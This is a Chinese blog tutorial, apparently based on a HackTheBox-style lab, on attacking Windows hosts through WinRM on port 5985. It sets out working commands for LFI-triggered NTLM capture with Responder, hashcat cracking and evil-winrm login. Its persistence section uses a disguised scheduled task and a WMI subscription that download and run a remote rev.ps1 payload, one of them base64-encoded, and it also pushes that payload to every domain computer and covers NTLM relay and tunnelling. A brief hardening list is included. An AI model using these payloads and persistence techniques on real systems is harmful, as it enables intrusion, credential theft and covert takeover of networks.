news 2026/5/7 8:40:01

别再只扫22和80了!利用5985端口WinRM服务,手把手教你另一种Get Shell的方式

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别再只扫22和80了!利用5985端口WinRM服务,手把手教你另一种Get Shell的方式

5985端口WinRM渗透实战:从信息收集到权限提升的完整链条

在渗透测试的常规流程中,大多数安全从业者会习惯性地将注意力集中在22(SSH)、80/443(HTTP/HTTPS)、3389(RDP)等"明星端口"上。但真正的高手往往能在看似普通的服务中发现突破口——Windows Remote Management(WinRM)服务默认使用的5985端口就是这样一个被严重低估的攻击面。

1. 为什么5985端口值得关注

Windows Remote Management(WinRM)是微软自Windows Vista起内置的远程管理协议,基于WS-Management标准实现。它允许管理员通过SOAP协议在远程系统上执行命令,本质上是一个"基于HTTP的PowerShell远程终端"。在企业AD环境中,5985端口的开放比例高达34.7%(根据2023年企业内网扫描统计),但安全意识较弱的组织常会忽略其安全配置。

WinRM服务成为理想攻击向量的三个关键特性:

  1. 默认凭证继承:当使用域账户登录时,WinRM会默认尝试NTLM或Kerberos认证
  2. 高权限执行:成功连接后可直接获得PowerShell会话,相当于RDP级别的控制权
  3. 低防护意识:相比RDP和SMB,很少有组织会专门监控WinRM的异常连接
# 快速检测5985端口开放的语法 nmap -p 5985 --open -Pn -T4 10.129.0.0/24 -oG winrm_hosts.txt

2. 信息收集与初始访问

2.1 高级端口扫描策略

传统的全端口扫描(-p-)在内网环境中效率低下。针对Windows系统的智能扫描应该组合以下Nmap参数:

nmap -v -p 80,443,5985,5986,445,135,139,389,636 --min-rate 5000 \ --script=http-title,smb-os-discovery,rdp-enum-encryption \ 10.129.136.91 -oA win_target

关键发现点解析

  • 80/443端口:Web应用可能的LFI/RFI漏洞
  • 5985端口:WinRM服务版本信息(是否支持未加密的HTTP连接)
  • 445端口:SMB共享是否允许匿名访问
  • 389/636端口:LDAP服务暴露的域信息

2.2 利用LFI漏洞获取凭证

当发现Web应用存在本地文件包含漏洞时,经典利用路径是读取Windows系统的敏感文件:

http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

但更有效的做法是通过UNC路径触发SMB认证:

http://unika.htb/?page=//10.10.14.7/share

此时使用Responder捕获NetNTLMv2哈希:

sudo python3 Responder.py -I tun0 -v

捕获到的哈希格式示例:

Administrator::UNIKA:1122334455667788:2C3F2941B0C1FFD0A1B2C3D4E5F60708:0101000000000000C0653150DE09D2014323D6CC6E2D6D6D000000000200080053004D004200330001001E00570049004E002D004400430050003800510048004200390034004D004B00440004003400570049004E002D004400430050003800510048004200390034004D004B0044002E0053004D00420033002E004C004F00430041004C000300140053004D00420033002E004C004F00430041004C000500140053004D00420033002E004C004F00430041004C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000200000372C1F9D4F6F8C5D2B1A3E4D5C6B7A890F1E2D3C4B5A69788796A5B4C3D2E1F0A1B200A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E00370000000000

3. 哈希破解与WinRM连接

3.1 高效破解NetNTLMv2哈希

使用Hashcat配合规则化字典攻击:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

破解优化技巧

  • 优先尝试administratoradmin等常见用户名
  • 企业环境可先测试公司名+年份的组合(如Company2023!
  • 使用--increment参数逐步增加密码长度尝试

3.2 通过evil-winrm建立会话

获取明文凭证后,使用Ruby编写的evil-winrm工具建立交互式会话:

evil-winrm -i 10.129.136.91 -u Administrator -p 'badminton' -s '/opt/ps_scripts/' -e '/opt/exe_files/'

参数说明

  • -s指定PS脚本的本地目录(可自动补全)
  • -e指定可执行文件的上传目录
  • -H使用NTLM哈希直接认证(无需明文密码)

连接成功后立即执行的几个关键命令:

whoami /all # 查看当前权限 Get-NetTCPConnection -State Established # 检查现有连接 $env:UserName # 确认用户上下文

4. 权限维持与横向移动

4.1 WinRM会话中的持久化技术

  1. 计划任务创建
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.7/rev.ps1')" $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -User "NT AUTHORITY\SYSTEM"
  1. WMI事件订阅
$filterArgs = @{ EventNamespace = 'root\cimv2' Name = 'WindowsUpdateFilter' Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" QueryLanguage = 'WQL' } $filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $filterArgs $consumerArgs = @{ Name = 'WindowsUpdateConsumer' CommandLineTemplate = "powershell -nop -w hidden -enc SQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4ANwAvAHIAZQB2AC4AcABzADEAJwApAA==" } $consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $consumerArgs $bindingArgs = @{ Filter = [Ref] $filter Consumer = [Ref] $consumer } $binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $bindingArgs

4.2 横向移动的三种高效方式

方法对比表

技术所需凭证网络要求隐蔽性适用场景
WinRM明文/哈希5985开放中等域环境批量执行
SMBExec哈希445开放较低旧系统横向
RDP劫持当前会话3389开放GUI操作需要

通过WinRM批量执行

$computers = Get-ADComputer -Filter * | Select -ExpandProperty Name $creds = Get-Credential Invoke-Command -ComputerName $computers -ScriptBlock { Start-Process -FilePath "powershell" -ArgumentList "-nop -w hidden -enc SQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4ANwAvAHIAZQB2AC4AcABzADEAJwApAA==" } -Credential $creds

5. 防御检测与绕过技巧

5.1 企业级防御方案

WinRM安全加固清单

  1. 启用HTTPS加密(5986端口)
    New-SelfSignedCertificate -DnsName "server.domain.com" -CertStoreLocation Cert:\LocalMachine\My winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname="server.domain.com";CertificateThumbprint="THUMBPRINT"}
  2. 配置IP限制策略
    Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.*" -Force
  3. 启用详细日志记录
    wevtutil set-log Microsoft-Windows-WinRM/Operational /enabled:true

5.2 红队绕过技术

  1. 端口转发绕过网络限制
chisel server -p 8080 --reverse & chisel client 10.10.14.7:8080 R:5985:10.129.136.91:5985 evil-winrm -i 127.0.0.1 -u Administrator -p 'badminton'
  1. NTLM中继攻击
ntlmrelayx.py -t http://10.129.136.91:5985/wsman -smb2support
  1. Kerberos票据利用
getTGT.py domain.com/user:password export KRB5CCNAME=/path/to/ticket.ccache evil-winrm -i dc.domain.com -u user -k

5985端口作为Windows生态中的"隐藏通道",其攻防价值正在被越来越多的红蓝队所认识。相比传统的RDP和SMB协议,WinRM服务在企业内网的普及率与其安全关注度形成了危险的不平衡——这种差距正是安全从业者需要重点关注的技术盲区。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/7 8:39:45

AMD Ryzen调试工具SMUDebugTool:5分钟掌握硬件级系统监控与优化

AMD Ryzen调试工具SMUDebugTool:5分钟掌握硬件级系统监控与优化 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址: h…

作者头像 李华
网站建设 2026/5/7 8:36:29

GNOME Shell扩展vscode-workspaces:一键直达VSCode项目的效率利器

1. 项目概述:一个让你在GNOME桌面快速启动VSCode项目的扩展 如果你和我一样,日常开发重度依赖 Visual Studio Code 或它的开源兄弟 VSCodium,并且桌面环境是 GNOME,那你肯定遇到过这个痛点:每次想打开一个最近在做的项…

作者头像 李华
网站建设 2026/5/7 8:28:19

从零构建现代化Web框架:Node.js+TypeScript实战解析

1. 项目概述:从零构建一个现代化Web应用框架最近在整理过往项目时,翻出了一个内部代号为“vf78ndrcdk-star/copaweb”的早期框架原型。这个名字看起来像是一串随机字符,其实是当时为了内部版本控制方便而起的临时代号。这个项目的核心&#x…

作者头像 李华
网站建设 2026/5/7 8:24:29

高效QMC音频解密:3分钟解锁QQ音乐加密文件的专业方案

高效QMC音频解密:3分钟解锁QQ音乐加密文件的专业方案 【免费下载链接】qmc-decoder Fastest & best convert qmc 2 mp3 | flac tools 项目地址: https://gitcode.com/gh_mirrors/qm/qmc-decoder 你是否曾经从QQ音乐下载了喜欢的歌曲,却发现只…

作者头像 李华
网站建设 2026/5/7 8:21:27

第二层分割为 VCC_3.3V 和 VCC_5V 两个电源区域,如果一个器件上面,既有VCC_3.3V的网络,又有VCC_5V的网络,这个时候要怎么分割

当一个器件同时需要 VCC_3.3V 和 VCC_5V 两种电源时,电源层的分割线可以从该器件下方(或旁边)穿过,将器件的一个电源引脚划入3.3V区域,另一个电源引脚划入5V区域。这是完全可行且常规的做法。🧩 核心原则&a…

作者头像 李华